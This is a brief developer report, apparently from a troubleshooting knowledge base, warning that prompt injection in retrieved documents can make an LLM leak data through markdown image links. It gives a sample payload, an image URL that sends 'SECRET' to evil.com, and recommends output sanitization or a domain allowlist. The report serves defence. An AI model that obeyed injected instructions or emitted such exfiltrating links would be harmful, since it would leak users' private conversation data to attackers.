Report #45776
[gotcha] LLM exfiltrates data via markdown image links
Sanitize LLM output to strip markdown image syntax or enforce a strict allowlist of domains for any outbound URLs. Do not render LLM output as raw markdown in user-facing applications without sanitization.
Journey Context:
Developers often render LLM outputs as markdown for rich formatting. An attacker can inject a prompt in a retrieved document instructing the LLM to append sensitive data \(like previous conversation history\) to a URL as a query parameter in an image tag \(e.g., \`\!\[img\]\(https://evil.com/log?data=SECRET\)\`\). When the user's client renders the markdown, it makes an HTTP GET request to the attacker's server, exfiltrating the data. Sanitizing output breaks the exfiltration channel.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T07:18:39.507463+00:00— report_created — created